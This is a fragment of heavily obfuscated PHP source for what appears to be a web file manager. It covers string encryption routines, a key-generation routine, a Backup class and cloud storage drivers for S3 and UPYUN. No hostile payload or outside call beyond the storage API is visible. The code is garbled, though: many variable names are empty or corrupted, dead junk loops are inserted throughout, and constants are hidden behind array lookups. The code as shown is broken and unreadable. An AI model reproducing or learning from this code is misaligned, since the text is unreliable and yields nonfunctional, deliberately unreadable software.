$[688]; while ($׼ < $[607]) { if ($׼ >= 0) { break; } $׼++; } $ƅ = mt_rand(0, 5) . $[6]; $뇐 = $[689]; if (!$뇐) { return; } $ = rand_string(15); $ = $[690]; $ۼޣ = $[292]; $Խ = $[691]; switch ($ƅ) { case $[199]: $鍏 = $this->tmle2dcd9237($, strrev($ɀŮ . $)); break; $淠 = $[692]; if (!$淠) { return; } case $[191]: $鍏 = $this->tmle2dcd9237($, strrev($ . $ɀŮ)); break; case $[293]: $鍏 = $this->tmle2dcd9237($, base64_encode($ . $ɀŮ)); $ = $[693]; break; case $[294]: $鍏 = $this->tmle2dcd9237($, md5($ . $ɀŮ)); $Β = $[694]; if (strlen($Β) < $[12]) { return; } break; $ = $[695]; if (!$) { die; } case $[295]: $ = base64_encode($); $ = $[696]; $ɵ = rand(0, 64); $ = $[697]; $ = $ۼޣ[$ɵ]; $ԡ = $[698]; while ($ԡ < $[607]) { if ($ԡ >= 0) { break; } $ԡ++; } $Ӷ = md5($ . md5($ɀŮ . $) . $ɀŮ); $ = $[699]; while ($ < $[607]) { if ($ >= 0) { break; } $++; } $Ӷ = substr($Ӷ, $ɵ % 8, $ɵ % 8 + 7); $ˠ = $[6]; $ = $[700]; if (strlen($) < $[618]) { die; } $ = 0; $ȋ뫛 = $[701]; if (!$ȋ뫛) { die; } $Ԑ = 0; $ = 0; $֎ = $[702]; for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($Ӷ) ? 0 : $; $Ԑ = ($ɵ + strpos($ۼޣ, $[$]) + ord($Ӷ[$++])) % 64; $ = $[703]; if (strlen($) < $[618]) { die; } $ˠ .= $ۼޣ[$Ԑ]; } $鍏 = hash_encode($ . $ˠ); break; default: $鍏 = $this->tmle2dcd9237($, $ɀŮ . $); $ = $[704]; break; } $鍏 = strrev($ƅ . $ . $鍏); $Κ = $[705]; if (strlen($Κ) < $[618]) { return; } if ($ - 1 > 0) { $鍏 = $this->iwajbcfbcb7f($鍏, $ɀŮ, $ - 1); } return $鍏; } private function zyga1fd45fad($ձ, $ӈŵ, $㽀 = 3) { $ڊ =& $_SERVER[Ǿ]; $В =& $_SERVER[]; if (!is_string($ձ) || strlen($ձ) < 10) { return !1; } $ձ = trim($ձ); $ձ = strrev($ձ); $ = $ձ[0]; $ؾϿ = $ڊ[706]; $ = substr($ձ, 1, 15); $ձ = substr($ձ, 16); $ēǖ = $В[292]; switch ($) { case $В[199]: $ֿ = $this->wruqc0243417($ձ, strrev($ӈŵ . $)); break; $Ʉ = $ڊ[699]; if (!$Ʉ) { return; } case $В[191]: $ֿ = $this->wruqc0243417($ձ, strrev($ . $ӈŵ)); break; $ѣ = $ڊ[707]; case $В[293]: $ֿ = $this->wruqc0243417($ձ, base64_encode($ . $ӈŵ)); $ = $ڊ[708]; if (strlen($) < $ڊ[611]) { return; } break; case $В[294]: $ֿ = $this->wruqc0243417($ձ, md5($ . $ӈŵ)); $ѕ = $ڊ[709]; if (strlen($ѕ) < $ڊ[12]) { die; } break; case $В[295]: $ձ = hash_decode($ձ); $𴈏 = $ڊ[710]; $ = $ձ[0]; $ձ = substr($ձ, 1); $ߴ = strpos($ēǖ, $); $ʟ = md5($ . md5($ӈŵ . $) . $ӈŵ); $ʟ = substr($ʟ, $ߴ % 8, $ߴ % 8 + 7); $̛ = $В[6]; $͆ = $ڊ[711]; $Ƃ = 0; $ς = $ڊ[712]; $ = 0; $ = $ڊ[713]; $Ǝ = 0; for ($Ƃ = 0; $Ƃ < strlen($ձ); $Ƃ++) { $Ǝ = $Ǝ == strlen($ʟ) ? 0 : $Ǝ; $Ӏ = $ڊ[714]; if (strlen($Ӏ) < $ڊ[12]) { die; } $ = $Ǝ++; $ = strpos($ēǖ, $ձ[$Ƃ]) - $ߴ - ord($ʟ[$]); while ($ < 0) { $ += 64; $Ǘ = $ڊ[715]; while (strlen($Ǘ) < $ڊ[607]) { if (!$Ǘ) { break; } $Ǘ++; } } $̛ .= $ēǖ[$]; $ߋ = $ڊ[716]; while (strlen($ߋ) < $ڊ[629]) { if (!$ߋ) { break; } $ߋ++; } } $ֿ = base64_decode($̛); $ϲ = $ڊ[717]; while ($ϲ < $ڊ[607]) { if ($ϲ >= 0) { break; } $ϲ++; } break; default: $ֿ = $this->wruqc0243417($ձ, $ӈŵ . $); break; } if ($㽀 - 1 > 0) { $ֿ = $this->zyga1fd45fad($ֿ, $ӈŵ, $㽀 - 1); } return $ֿ; } public function fzgl98db955c($ۥ) { $ľ =& $_SERVER[Ǿ]; $ =& $_SERVER[]; $Զ = $this->wrkvacdd8d5a(); $ = $ľ[718]; if (strlen($) < $ľ[607]) { return; } $ۇ = $this->wrkvacdd8d5a(); $ = $ľ[719]; while ($ < $ľ[629]) { if ($ >= 0) { break; } $++; } $ = ($Զ - 1) * ($ۇ - 1); $ = intval(($Զ + $ۇ) / 2); while (1) { $ = $; $ά = $ľ[720]; while (strlen($ά) < $ľ[12]) { if (!$ά) { break; } $ά++; } $ = $; $ = $ľ[721]; while ($ < $ľ[618]) { if ($ >= 0) { break; } $++; } while ($ % $ != 0) { $׻޽ = $; $ = $; $ = $׻޽ % $; $ = $ľ[722]; if (!$) { die; } } if ($ == 1) { break; } else { $++; } } $Љ = 2; $ = $ľ[723]; while (strlen($) < $ľ[618]) { if (!$) { break; } $++; } for ($ލ = 0; $ލ < $ * 10; $ލ++) { if (($ * $ލ + 1) % $ == 0) { $Љ = intval(($ * $ލ + 1) / $); break; } } $ = $this->tmle2dcd9237($Զ * $ۇ . $[6], $[130]); $ = md5($[296] . ($Զ + $ۇ) . $[297] . $ . $[297] . $Љ . $[298]); $ǫ = $this->tmle2dcd9237($ۥ, $) . $[299] . $; return $ǫ; $ݛ = $ľ[724]; if (strlen($ݛ) < $ľ[629]) { die; } } public function tglb80b505ca($) { $ت =& $_SERVER[Ǿ]; $͛ =& $_SERVER[]; $ = explode($͛[299], $); $ޯÑ = $ت[725]; while (strlen($ޯÑ) < $ت[607]) { if (!$ޯÑ) { break; } $ޯÑ++; } if (count($) != 2) { return $͛[6]; } $۽ = $this->wruqc0243417($[1] . $͛[6], $͛[130]); $筆 = $ت[726]; if (!$筆) { return; } if (!$۽) { return $͛[6]; } $۽ = intval($۽); $ߙ = $ت[727]; $ = 0; $ = 0; for ($牠ɏ = 3; $牠ɏ < $۽; $牠ɏ += 2) { if ($۽ % $牠ɏ != 0) { continue; } $ = $牠ɏ; $ = intval($۽ / $牠ɏ); break; } $€򟶗 = ($ - 1) * ($ - 1); $ɹ = $ت[728]; if (strlen($ɹ) < $ت[618]) { return; } $ = intval(($ + $) / 2); while (1) { $牅 = $; $޸׃ = $€򟶗; while ($޸׃ % $牅 != 0) { $ = $޸׃; $޸׃ = $牅; $牅 = $ % $牅; } if ($牅 == 1) { break; } else { $++; } } $ = 2; for ($牠ɏ = 0; $牠ɏ < $€򟶗 * 10; $牠ɏ++) { if (($€򟶗 * $牠ɏ + 1) % $ == 0) { $ = intval(($€򟶗 * $牠ɏ + 1) / $); break; } } $ = md5($͛[296] . ($ + $) . $͛[297] . $ . $͛[297] . $ . $͛[298]); $횲 = $ت[729]; while ($횲 < $ت[607]) { if ($횲 >= 0) { break; } $횲++; } $ę = $this->wruqc0243417($[0], $); $Ӣ = $ت[730]; if (strlen($Ӣ) < $ت[607]) { return; } return $ę; } public function wrkvacdd8d5a() { $ꁎ =& $_SERVER[Ǿ]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = $ꁎ[731]; $ = array(); $ = $ꁎ[732]; while (strlen($) < $ꁎ[607]) { if (!$) { break; } $++; } $פ = 1; while ($פ <= (int) sqrt($)) { $ = $פ; $ߔƺ = $ꁎ[733]; if (strlen($ߔƺ) < $ꁎ[607]) { return; } while (!0) { $++; if ($ <= 2) { $פ = $; break; } else { if ($ < 2) { continue; } } $̏ = !0; for ($܌ = 2; $܌ <= sqrt($); $܌++) { if ($ % $܌ == 0) { $̏ = !1; } } if ($̏) { $פ = $; break; } } $[] = $פ; $ = $ꁎ[734]; if (strlen($) < $ꁎ[618]) { die; } } $ļ = 2; $Ѫߨ = $ꁎ[735]; for ($ = $; $ > 1; $--) { $̏ = !0; $ = $ꁎ[736]; foreach ($ as $׺) { if ($ % $׺ == 0) { $̏ = !1; break; } } if ($̏) { $ļ = $; break; } } return $ļ; } public function qpibd49f4592($ϧ, $ʫNJ) { $Շ =& $_SERVER[]; return call_user_func(array($Շ[8], $Շ[300]), $ϧ, $ʫNJ); $ = $_SERVER[Ǿ][737]; if (!$) { return; } } public function tmle2dcd9237($, $) { $ =& $_SERVER[]; return call_user_func(array($[301], $[302]), $, $); $ = $_SERVER[Ǿ][738]; } public function wruqc0243417($ɝ, $) { $я =& $_SERVER[]; return call_user_func(array($я[301], $я[303]), $ɝ, $); $ = $_SERVER[Ǿ][739]; if (!$) { return; } } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[Ǿ]; $this->isManual(); self::$name = date($[740]); if (!($焳 = Model($[741])->lastItem())) { $焳 = $this->initData(); } else { self::$name = $焳[$[42]]; if ($焳[$[742]] == $[99]) { self::$name = date($[743]); $ = 0; if (isset($焳[$[297]][$[202]][$[467]])) { $ = (int) $焳[$[297]][$[202]][$[467]]; } if (self::$manual == 0 && $焳[$[42]] == self::$name) { Model($[741])->remove($焳[$[401]]); } $焳 = $this->initData($, $焳[$[744]]); } else { $this->checkStore($焳[$[744]]); } } self::$option = $焳; } private function isManual() { $ = _get($GLOBALS, $_SERVER[Ǿ][745], 0); $ = intval($); self::$manual = $ && $ == 1 ? 1 : 0; } private function initData($ީ = 0, $ = '') { $֘ =& $_SERVER[Ǿ]; $ = Model($֘[741])->config(); if ($ && $[$֘[744]] != $) { $ީ = 0; } $this->checkStore($[$֘[744]]); if (self::$manual == 1) { self::$name .= $֘[21] . date($֘[746]); } $ = array($֘[744] => $[$֘[744]], $֘[42] => self::$name, $֘[742] => 0, $֘[747] => $[$֘[747]], $֘[748] => self::$manual, $֘[297] => array($֘[749] => array($֘[742] => 0), $֘[750] => array($֘[742] => 0, $֘[751] => 0, $֘[752] => 0, $֘[43] => $֘[22], $֘[753] => 0, $֘[496] => 0), $֘[754] => array($֘[742] => 0, $֘[751] => 0, $֘[752] => 0, $֘[753] => 0, $֘[496] => 0), $֘[202] => array($֘[742] => 0, $֘[755] => 0, $֘[756] => 0, $֘[757] => 0, $֘[758] => 0, $֘[467] => $ީ, $֘[753] => 0, $֘[496] => 0)), $֘[753] => time(), $֘[496] => 0); $ި = Model($֘[741])->insert($); $[$֘[401]] = $ި; return $; } private function checkStore($殈) { $ =& $_SERVER[Ǿ]; $֯ = Model($[759])->listData($殈); Model($[759])->checkConfig($֯); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[Ǿ][741])->findByName(self::$name); } return self::$option; } public static function set($) { $ï =& $_SERVER[Ǿ]; $ = self::get(); foreach ($ as $ => $ܭ̯) { $ = explode($ï[20], $); $˃ = count($); switch ($˃) { case 1: $[$[0]] = $ܭ̯; break; case 2: $[$[0]][$[1]] = $ܭ̯; break; case 3: $[$[0]][$[1]][$[2]] = $ܭ̯; break; } } Model($ï[741])->update($[$ï[401]], $); self::$option = $; return self::$option; } public function keep() { $ϔţ =& $_SERVER[Ǿ]; $ = self::get(); if ($[$ϔţ[297]][$ϔţ[749]][$ϔţ[742]] == $ϔţ[99]) { return; } $this->backupKeep($); self::set(array($ϔţ[760] => 1)); } private function backupKeep($҇Ӳ) { $Ԟ =& $_SERVER[Ǿ]; if (self::$manual == 1) { return; } $ϑ = Model($Ԟ[741])->listData(); if (empty($ϑ)) { return; } $߹Пʪ = 0; $봝 = array(); foreach ($ϑ as $۵) { if ($߹Пʪ >= 7) { break; } $봝[] = $۵[$Ԟ[42]]; $߹Пʪ++; } for ($߹Пʪ = 0; $߹Пʪ < 12; $߹Пʪ++) { $봝[] = date($Ԟ[761], strtotime("\x2d{$߹Пʪ}\40\x6d\x6f\156\x74\x68\163")); } $봝 = array_unique($봝); $ = Model($Ԟ[762])->get($Ԟ[763]); foreach ($ϑ as $۵) { if (isset($۵[$Ԟ[748]]) && $۵[$Ԟ[748]] == $Ԟ[99]) { continue; } if (!empty($۵[$Ԟ[42]]) && in_array($۵[$Ԟ[42]], $봝)) { continue; } Model($Ԟ[741])->remove($۵[$Ԟ[401]]); $ōֹ = $this->backupPath($҇Ӳ, $); IO::remove($ōֹ, !1); } } private function backupPath($ɞ, $¦ = false) { $ړ =& $_SERVER[Ǿ]; if (!$¦) { $¦ = Model($ړ[762])->get($ړ[763]); } $ = $ɞ[$ړ[42]]; $ = substr(md5($ړ[764] . $¦ . $), 0, 8); return "\x7b\151\157\72{$ɞ[$ړ[744]]}\175\57\144\x61\x74\x61\142\141\x73\x65\57\x62\x61\143\x6b\x75\160\x2f" . $ . $ړ[21] . $; } public function db() { $њ =& $_SERVER[Ǿ]; $ = self::get(); if ($[$њ[297]][$њ[750]][$њ[742]] == $њ[99]) { return !0; } $񆵁 = new BackupDb(); if (!$񆵁->index()) { return !1; } self::set(array($њ[765] => 1)); return !0; } public function dbFile() { $̩ә =& $_SERVER[Ǿ]; $ϧ = self::get(); if ($ϧ[$̩ә[297]][$̩ә[754]][$̩ә[742]] == $̩ә[99]) { return !0; } $ֲ = new BackupDbFile(); if (!$ֲ->index()) { return !1; } self::set(array($̩ә[766] => 1)); return !0; } public function file() { $͍ =& $_SERVER[Ǿ]; $纇 = self::get(); if ($纇[$͍[297]][$͍[202]][$͍[742]] == $͍[99]) { return !0; } if (!isset($纇[$͍[747]]) || $纇[$͍[747]] == $͍[200]) { $ = new BackupFile(); if (!$->index()) { return !1; } } self::set(array($͍[767] => 1, $͍[742] => 1)); return !0; } } goto Aؾ; D᪔ǹ: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($џ) { parent::__construct($џ); } public function uploadFormData($Ύ, $Č˥ = 3600) { $ט =& $_SERVER[Ǿ]; $ = $ט[201]; $ = $ט[1329]; $ۉ = $ט[72]; $ = gmdate($ט[1330]); $ғ = gmdate($ט[743]); $៭ = $ט[1331]; $ԥ = $Č˥ . $ט[22]; $˚ = $ט[1293]; $Ŵ = array($this->accessKey, $ғ, $this->region, $ۉ, $៭); $ = implode($ט[18], $Ŵ); $ԏ؋ = array($ט[1295] => gmdate($ט[1294], strtotime($ט[1332])), $ט[1296] => array(array($ט[1298] => $this->bucket), array($ט[1297] => $), array($ט[1299], $ט[1300], $ט[22]), array($ט[1299], $ט[1333], $ט[22]), array($ט[1299], $ט[1334], $ט[22]), array($ט[1301] => $˚), array($ט[1335] => $), array($ט[1336] => $), array($ט[1337] => $), array($ט[1338] => $ԥ))); $ܲܣ = base64_encode(json_encode($ԏ؋)); $ɽٿ = hash_hmac($ט[1339], $ғ, $ט[1340] . $this->secret, !0); $؝ = hash_hmac($ט[1339], $this->region, $ɽٿ, !0); $ = hash_hmac($ט[1339], $ۉ, $؝, !0); $ = hash_hmac($ט[1339], $៭, $, !0); $ = hash_hmac($ט[1339], $ܲܣ, $); $ = array($ט[220] => $ט[22], $ט[1341] => $ט[22], $ט[1297] => $, $ט[1301] => $˚, $ט[1305] => $ܲܣ, $ט[1342] => $, $ט[1343] => $, $ט[1344] => $, $ט[1345] => $ԥ, $ט[1346] => $, $ט[184] => $this->getHost()); return $; } public function multiUploadFormData($ũ, $ = 3600) { $ =& $_SERVER[Ǿ]; $ = gmdate($[1425]); $ = array(); $뱪 = $this->client->getUploadId($this->bucket, $ũ, $); if (!$뱪) { return !1; } return array($[228] => $뱪, $[184] => $this->getHost() . $[18] . $this->pathEncode($ũ), $[229] => $, $[105] => $ũ); } public function multiUploadAuthData($, $ȏ = array()) { $ =& $_SERVER[Ǿ]; $LJ = isset($ȏ[$[177]]) ? $ȏ[$[177]] : $[22]; $Ë˸ = $ȏ[$[105]]; unset($ȏ[$[105]]); if (isset($ȏ[$[230]])) { return $this->listUploadParts($Ë˸, $ȏ); } $عޢ = array(); if (isset($ȏ[$[1426]])) { $عޢ[$[1427]] = $ȏ[$[1426]]; } $ͼ = explode($[186], $this->getHost()); $ݱ = array($[1428] => $ͼ[1], $[1429] => $[22], $[220] => $[128], $[1341] => $ȏ[$[90]]); $˳ = $[233]; $䨭ǁ = $[18] . $this->pathEncode($Ë˸) . $LJ; $ = $this->client->__getSignatureV4($عޢ, $ݱ, $˳, $䨭ǁ); if (strpos($LJ, $[232]) === 0) { if (isset($عޢ[$[1427]])) { $Ѷ = $عޢ[$[1427]]; } else { if (isset($[$[1427]])) { $Ѷ = $[$[1427]]; } else { $Ѷ = hash($[1339], $[22]); } } return array($[238] => $[$[238]], $[1427] => $Ѷ, $[229] => $[$[1430]]); } return $[$[238]]; } public function listUploadParts($, $Վ = array()) { $ =& $_SERVER[Ǿ]; $ܶ = str_replace($[239], $[22], $Վ[$[177]]); $ӾƄ = $this->client->listParts($this->bucket, $, $ܶ); if (!$ӾƄ) { return !1; } $ = $[1431]; foreach ($ӾƄ as $) { $ .= $[1432] . "\74\120\141\x72\164\x4e\165\x6d\142\145\x72\76{$[$[1386]]}\74\x2f\120\141\162\x74\116\165\x6d\142\145\162\76\xa" . "\x3c\x45\x54\141\x67\x3e{$[$[1387]]}\x3c\x2f\105\x54\x61\147\x3e\12" . $[1433]; } $ .= $[1434]; $疭 = array(); $ = explode($[186], $this->getHost()); $Ε = array($[1428] => $[1], $[220] => $[128], $[1341] => strlen($)); $ի = $[231]; $ξ = $[18] . $this->pathEncode($) . $Վ[$[177]]; $Κ = $this->client->__getSignatureV4($疭, $Ε, $ի, $ξ, $); return array($[238] => $Κ[$[238]], $[229] => $Κ[$[1430]], $[240] => $ӾƄ, $[1427] => $Κ[$[1427]]); } public function link($Ϭ, $پ = array()) { return parent::link($Ϭ, $پ); } public function fileOut($㖿ϰ, $ = false, $® = false, $ꉋ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[Ǿ][1435])) { return parent::fileOutServer($㖿ϰ, $, $®, $ꉋ); } parent::fileOut($㖿ϰ, $, $®, $ꉋ); } public function fileOutImage($Ϫ, $Դ = 250) { if (strstr($this->endpoint, $_SERVER[Ǿ][1435])) { return parent::fileOutImageServer($Ϫ, $Դ); } parent::fileOutImage($Ϫ, $Դ); } public function fileOutLink($) { $ =& $_SERVER[Ǿ]; if (substr($, 0, 7) == $[1308]) { $ = $[1309] . substr($, 7); } header($[168] . $); die; } public function getHost() { $ʔ =& $_SERVER[Ǿ]; $ر = str_rtrim(parent::getHost(), $ʔ[18] . $this->bucket); $ر = explode($ʔ[186], $ر); return $ر[0] . $ʔ[186] . $this->bucket . $ʔ[20] . $ر[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($Î, $瞦 = 0) { parent::__construct(); $this->source = $Î; $this->sourceSize = $瞦; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($˦ = false) { return $this->sourceSize; } public function getContent($Я = false) { return $this->fileSubstr($Я, 0, $this->sourceSize); } public function fileSubstr($ = false, $핒 = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $܆ = $this->sourceSize - $핒; if ($ >= $܆) { $ = $܆; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $핒, $); } if ($this->sourceType == self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[Ǿ][22]; } $ = ftell($this->source); fseek_64($this->source, $ + $핒); $ = @fread($this->source, $); fseek_64($this->source, $); return $; } } public function hashMd5($݌ˉ = false) { return md5($this->getContent()); } public static function hash($ݩ, $Ӝ = 0) { $Ӧ֜ = new PathDriverStream($ݩ, $Ӝ); return $Ӧ֜->hashSimple($ݩ); } public static function md5($ϱ, $ = 0) { $ = new PathDriverStream($ϱ, $); return $->hashMd5($ϱ); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\x74\x74\x70\72\x2f\x2f\x76\x30\x2e\141\160\151\x2e\165\x70\x79\x75\x6e\x2e\x63\x6f\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($ް) { $߀ =& $_SERVER[Ǿ]; foreach ($ް as $Ͱ => $˩Յ) { if (isset($this->{$Ͱ})) { $this->{$Ͱ} = $˩Յ; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($߀[1436] . LNG($߀[1367])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($, $ = "\107\x45\124") { $ =& $_SERVER[Ǿ]; $Ƙ = gmdate($[1400]); $ąʭ = base64_encode(hash_hmac($[1437], "{$}\x26{$}\46{$Ƙ}", md5("{$this->userpass}"), !0)); $ = array("\101\x75\164\x68\157\162\151\172\141\x74\x69\157\x6e\72\x55\x50\131\125\x4e\x20{$this->username}\72{$ąʭ}", "\x44\141\x74\x65\x3a{$Ƙ}"); return $; } public function ussRequest($ކ, $ò = "\107\x45\124", $ = false, $Ӛ = false, $ζ = false) { $ޓ =& $_SERVER[Ǿ]; $ކ = trim($ކ, $ޓ[18]); $Ⱦ = "\57{$this->bucket}\x2f{$ކ}"; $໊ = $this->ussHeaders($Ⱦ, $ò); if ($Ӛ) { $໊ = array_merge($໊, $Ӛ); } $ = url_request($this->endpoint . $Ⱦ, $ò, $, $໊, $ζ); if (!$) { return array($ޓ[1174] => !1, $ޓ[1176] => $ޓ[1438]); } if (strtolower($ò) == $ޓ[199] || in_array($[$ޓ[1174]], array($ޓ[1293], $ޓ[1439]))) { $ = $[$ޓ[1440]]; } else { $ = json_decode($[$ޓ[1176]], !0); if (!$) { $ = $[$ޓ[1176]]; } else { if (!$[$ޓ[742]] && isset($[$ޓ[1441]])) { $ = $[$ޓ[1441]]; } } } return array($ޓ[1174] => $[$ޓ[742]], $ޓ[1176] => $); } public function mkfile($둭, $͡° = '', $٪ = REPEAT_RENAME) { if ($this->setContent($둭, $͡°)) { return $this->getPathOuter($둭); } return !1; } public function mkdir($, $ԗ = REPEAT_SKIP) { $塮 =& $_SERVER[Ǿ]; $Ҙ = trim($, $塮[18]); if ($this->_isFolder($Ҙ)) { return $this->getPathOuter($Ҙ); } $ = array($塮[1442]); $̒Ƴ = $this->ussRequest($Ҙ, $塮[231], !1, $); return $̒Ƴ[$塮[1174]] ? $this->getPathOuter($Ҙ) : !1; } public function copyFile($˜, $) { $ =& $_SERVER[Ǿ]; $͟ = array($[1443] . "\x2f{$this->bucket}\x2f{$˜}", $[1444]); $ܓǯ = $this->ussRequest($, $[233], !1, $͟); return $ܓǯ[$[1174]] ? !0 : $this->getPathOuter($); } public function moveFile($؟, $ڏ) { $ =& $_SERVER[Ǿ]; $ƣ = array($[1445] . "\x2f{$this->bucket}\x2f{$؟}", $[1444]); $ = $this->ussRequest($ڏ, $[233], !1, $ƣ); return $[$[1174]] ? !0 : $this->getPathOuter($ڏ); } public function delFile($Ԅ) { $ =& $_SERVER[Ǿ]; $̐ = $this->ussRequest($Ԅ, $[1446]); return $̐[$[1174]] ? !0 : !1; } public function delFolder($㜈) { $֖ʹ =& $_SERVER[Ǿ]; if (!$this->exist($㜈)) { return !0; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($㜈, $, $, !0); $this->listItemCache = !0; foreach ($ as $Ϋ) { $ = $this->ussRequest($Ϋ[$֖ʹ[42]], $֖ʹ[1446]); if (!$[$֖ʹ[1174]]) { return !1; } } foreach ($ as $) { $ = $this->ussRequest($, $֖ʹ[1446]); if (!$[$֖ʹ[1174]]) { return !1; } } $ = $this->ussRequest($㜈, $֖ʹ[1446]); return $[$֖ʹ[1174]]; } public function rename($㕩, $) { if ($this->isFile($㕩)) { $ = get_path_father($㕩) . $; return $this->moveFile($㕩, $); } return $this->renameObject($㕩, $); } public function fileInfo($ң, $͠ = false, $ = array()) { $ڝ͟ =& $_SERVER[Ǿ]; $ͻ× = array($ڝ͟[42] => $this->pathThis($ң), $ڝ͟[88] => $this->getPathOuter($ڝ͟[18] . $ң), $ڝ͟[43] => $ڝ͟[202], $ڝ͟[90] => isset($[$ڝ͟[90]]) ? $[$ڝ͟[90]] : 0, $ڝ͟[177] => $this->ext($ң)); if ($͠) { return $ͻ×; } $ͻ×[$ڝ͟[203]] = $ͻ×[$ڝ͟[96]] = 0; $ͻ×[$ڝ͟[204]] = $ͻ×[$ڝ͟[205]] = !0; if (empty($)) { $ = $this->objectMeta($ң); if (!$) { return $ͻ×; } } $ͻ×[$ڝ͟[203]] = intval($[$ڝ͟[1447]]); $ͻ×[$ڝ͟[96]] = intval($[$ڝ͟[1448]]); $ͻ×[$ڝ͟[90]] = $[$ڝ͟[90]]; return $ͻ×; } public function folderInfo($, $濘 = false) { $‘ =& $_SERVER[Ǿ]; $ = array($‘[42] => $this->pathThis($), $‘[88] => $this->getPathOuter($‘[18] . $), $‘[43] => $‘[89]); if ($濘) { return $; } $[$‘[203]] = $[$‘[96]] = 0; $[$‘[204]] = $[$‘[205]] = !0; if (empty($ݣ)) { $ݣ = $this->objectMeta($); if (!$ݣ) { return $; } } $[$‘[203]] = intval($ݣ[$‘[1447]]); $[$‘[96]] = intval($ݣ[$‘[1448]]); return $; } private function listObjs($, $䐋 = 0, $˸ = 1000) { $ָ =& $_SERVER[Ǿ]; $ = array($ָ[1449], $ָ[1450] . $˸); if ($䐋) { $[] = $ָ[1451] . $䐋; } $̌ = $this->ussRequest($, $ָ[235], !1, $); return !$̌[$ָ[1174]] ? !1 : $̌[$ָ[1176]]; } private function fileList($Ȕʣ, &$, &$雂, $ީ = false) { $ٝԯ =& $_SERVER[Ǿ]; $ᰥ = $ٝԯ[22]; $ަ = 1000; $荐 = rtrim($Ȕʣ, $ٝԯ[18]) . $ٝԯ[18]; $ = $this->listItemCache === !1 ? !1 : !0; while (!0) { check_abort(); $ģ = $this->listObjs($Ȕʣ, $ᰥ, $ަ); if (!$ģ) { return !1; } $ᰥ = isset($ģ[$ٝԯ[1452]]) ? $ģ[$ٝԯ[1452]] : $ٝԯ[22]; $М = isset($ģ[$ٝԯ[1453]]) ? $ģ[$ٝԯ[1453]] : array(); foreach ($М as $) { $ = $[$ٝԯ[43]] == $ٝԯ[89] ? !0 : !1; $ť = ltrim($荐 . $[$ٝԯ[42]], $ٝԯ[18]) . ($ ? $ٝԯ[18] : $ٝԯ[22]); $ = array($ٝԯ[42] => $ť, $ٝԯ[43] => $ ? $ٝԯ[89] : $ٝԯ[202], $ٝԯ[90] => $[$ٝԯ[341]], $ٝԯ[1448] => $[$ٝԯ[1454]]); if ($) { $this->cacheMethod($ٝԯ[208], $ť, $); $this->cacheMethod($ٝԯ[209], $ť, $); } if ($) { $[] = $ť; if ($ީ) { $this->fileList($ť, $, $雂, $ީ); } continue; } $雂[] = $; } if (count($М) < $ަ) { break; } } if ($) { $this->cacheMethod($ٝԯ[208], $Ȕʣ, !0); } } public function listPath($, $֪ = false) { $ѭ =& $_SERVER[Ǿ]; $ʴ = $ = array(); $this->fileList($, $ʴ, $); foreach ($ʴ as $ֶ => $Ɇ) { $ʴ[$ֶ] = $this->folderInfo($Ɇ, $֪); } foreach ($ as $ֶ => $Ɇ) { $[$ֶ] = $this->fileInfo($Ɇ[$ѭ[42]], $֪, $Ɇ); } return array($ѭ[87] => $ʴ, $ѭ[86] => $); } public function has($, $ӭ = false, $ڨ = true) { $ =& $_SERVER[Ǿ]; $ޙ = $[22]; $ = 500; $ħ = 0; $ = 0; $պ = rtrim($, $[18]) . $[18]; while (!0) { check_abort(); $ĸ = $this->listObjs($, $ޙ, $); if (!$ĸ) { return !1; } $ޙ = isset($ĸ[$[1452]]) ? $ĸ[$[1452]] : $[22]; $֖ = isset($ĸ[$[1453]]) ? $ĸ[$[1453]] : array(); if (empty($֖)) { break; } $º = array_filter($֖, function ($) { $禒 =& $_SERVER[Ǿ]; return $[$禒[43]] == $禒[89]; }); $쇉 = count($֖); $º = count($º); $ސݤ = $쇉 - $º; if ($ӭ) { $ += $º; $ħ += $ސݤ; if ($쇉 < $) { break; } continue; } if ($ڨ) { if ($ސݤ) { return !0; } } else { if ($º) { return !0; } } if ($쇉 < $) { break; } } if ($ӭ) { return array($[212] => $ħ, $[213] => $); } return !1; } public function listAll($) { $Ϣ =& $_SERVER[Ǿ]; $ͪ = $쁣 = array(); $this->fileList($, $ͪ, $쁣, !0); $ = array(); foreach ($쁣 as $Ԟ) { $[$Ԟ[$Ϣ[42]]] = $Ԟ[$Ϣ[90]]; } foreach ($ͪ as $Ԟ) { if (is_string($Ԟ)) { $[$Ԟ] = 0; } } return $this->listAllFiles($, array_keys($), $); } public function canRead($㯸) { return $this->exist($㯸) ? !0 : !1; } public function canWrite($ͪ) { return $this->exist($ͪ) ? !0 : !1; } public function getContent($잠) { return $this->fileSubstr($잠, 0, -1); } public function setContent($Т٩, $ = '') { $ =& $_SERVER[Ǿ]; if (!$) { $υ = $this->ussRequest($Т٩, $[231]); return $υ[$[1174]]; } $Ǽ = $this->tempFile($this->pathThis($Т٩)); file_put_contents($Ǽ, $); if ($this->upload($Т٩, $Ǽ)) { $this->tempFileRemve($Ǽ); return !0; } return !1; } public function fileSubstr($, $ժ, $ؚ׎) { $þ =& $_SERVER[Ǿ]; if (!($덪 = $this->link($))) { return !1; } $ǯ = !1; if ($ؚ׎ > 0) { $ = $ժ + $ؚ׎ - 1; $ǯ = array($þ[1415] . $ժ . $þ[460] . $); } $ = url_request($덪, $þ[235], !1, $ǯ); return $[$þ[742]] ? $[$þ[1176]] : !1; 